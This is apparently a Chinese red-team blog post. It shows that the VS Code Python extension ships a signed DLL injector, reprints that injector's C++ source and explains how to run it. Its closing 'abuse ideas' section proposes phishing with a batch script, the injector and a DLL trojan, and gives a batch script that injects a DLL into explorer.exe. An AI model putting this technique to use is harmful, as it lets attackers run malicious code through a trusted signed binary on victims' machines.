VsCode扩展中的DLL注入器
·
倾旋
安装完毕Python调试扩展后,会在扩展目录中生成一些文件:
其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统:
- inject_dll_x86.exe
- inject_dll_amd64.exe
在windows文件夹中还保留了注入器的源代码:
路径:
C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows
// inject_dll.cpp
#include <iostream>
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include <tlhelp32.h>
#pragma comment(lib, "kernel32.lib")
#pragma comment(lib, "user32.lib")
// Helper to free data when we leave the scope.
class DataToFree {
public:
HANDLE hProcess;
HANDLE snapshotHandle;
LPVOID remoteMemoryAddr;
int remoteMemorySize;
DataToFree(){
this->hProcess = nullptr;
this->snapshotHandle = nullptr;
this->remoteMemoryAddr = nullptr;
this->remoteMemorySize = 0;
}
~DataToFree() {
if(this->hProcess != nullptr){
if(this->remoteMemoryAddr != nullptr && this->remoteMemorySize != 0){
VirtualFreeEx(this->hProcess, this->remoteMemoryAddr, this->remoteMemorySize, MEM_RELEASE);
this->remoteMemoryAddr = nullptr;
this->remoteMemorySize = 0;
}
CloseHandle(this->hProcess);
this->hProcess = nullptr;
}
if(this->snapshotHandle != nullptr){
CloseHandle(this->snapshotHandle);
this->snapshotHandle = nullptr;
}
}
};
/**
* All we do here is load a dll in a remote program (in a remote thread).
*
* Arguments must be the pid and the dll name to run.
*
* i.e.: inject_dll.exe <pid> <dll path>
*/
int wmain( int argc, wchar_t *argv[ ], wchar_t *envp[ ] )
{
std::cout << "Running executable to inject dll." << std::endl;
// Helper to clear resources.
DataToFree dataToFree;
if(argc != 3){
std::cout << "Expected 2 arguments (pid, dll name)." << std::endl;
return 1;
}
const int pid = _wtoi(argv[1]);
if(pid == 0){
std::cout << "Invalid pid." << std::endl;
return 2;
}
const int MAX_PATH_SIZE_PADDED = MAX_PATH + 1;
char dllPath[MAX_PATH_SIZE_PADDED];
memset(&dllPath[0], '\0', MAX_PATH_SIZE_PADDED);
size_t pathLen = 0;
wcstombs_s(&pathLen, dllPath, argv[2], MAX_PATH);
const bool inheritable = false;
const HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_QUERY_INFORMATION, inheritable, pid);
if(hProcess == nullptr || hProcess == INVALID_HANDLE_VALUE){
std::cout << "Unable to open process with pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
return 3;
}
dataToFree.hProcess = hProcess;
std::cout << "OpenProcess with pid: " << pid << std::endl;
const LPVOID remoteMemoryAddr = VirtualAllocEx(hProcess, nullptr, MAX_PATH_SIZE_PADDED, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(remoteMemoryAddr == nullptr){
std::cout << "Error. Unable to allocate memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
return 4;
}
dataToFree.remoteMemorySize = MAX_PATH_SIZE_PADDED;
dataToFree.remoteMemoryAddr = remoteMemoryAddr;
std::cout << "VirtualAllocEx in pid: " << pid << std::endl;
const bool written = WriteProcessMemory(hProcess, remoteMemoryAddr, dllPath, pathLen, nullptr);
if(!written){
std::cout << "Error. Unable to write to memory in pid: " << pid << ". Error code: " << GetLastError() << "." << std::endl;
return 5;
}
std::cout << "WriteProcessMemory in pid: " << pid << std::endl;
const LPVOID loadLibraryAddress = (LPVOID) GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if(loadLibraryAddress == nullptr){
std::cout << "Error. Unable to get LoadLibraryA address. Error code: " << GetLastError() << "." << std::endl;
return 6;
}
std::cout << "loadLibraryAddress: " << pid << std::endl;
const HANDLE remoteThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE) loadLibraryAddress, remoteMemoryAddr, 0, nullptr);
if (remoteThread == nullptr) {
std::cout << "Error. Unable to CreateRemoteThread. Error code: " << GetLastError() << "." << std::endl;
return 7;
}
// We wait for the load to finish before proceeding to get the function to actually do the attach.
std::cout << "Waiting for LoadLibraryA to complete." << std::endl;
DWORD result = WaitForSingleObject(remoteThread, 5 * 1000);
if(result == WAIT_TIMEOUT) {
std::cout << "WaitForSingleObject(LoadLibraryA thread) timed out." << std::endl;
return 8;
} else if(result == WAIT_FAILED) {
std::cout << "WaitForSingleObject(LoadLibraryA thread) failed. Error code: " << GetLastError() << "." << std::endl;
return 9;
}
std::cout << "Ok, finished dll injection." << std::endl;
return 0;
}
签名情况:
使用方式,只需要两个参数:
- pid : 目标进程的进程ID
- dll name: 想要注入目标进程的DLL绝对路径
C:\Users\Administrator\Downloads>inject_dll_amd64.exe
Running executable to inject dll.
Expected 2 arguments (pid, dll name).
测试效果:
滥用思路:
- 钓鱼的时候可以发送一个BAT批处理脚本、dll注入器、dll木马
- BAT批处理:获取x64进程的pid
- BAT批处理:获取dll木马绝对路径
- BAT批处理:执行dll注入器,将dll木马注入到目标进程中
@echo off
set target_process_name=explorer.exe
set dll_name=calc_x64.dll
set injecter=inject_dll_amd64.exe
for /f "tokens=2" %%i in ('tasklist ^| findstr /i "%target_process_name%"') do set "pid=%%i"
set "command=%CD%\%injecter% %pid% %CD%\%dll_name%"
%command%
注意:被注入的DLL文件路径必须是绝对路径才可以注入成功
最后的最后,致谢 @Akkuman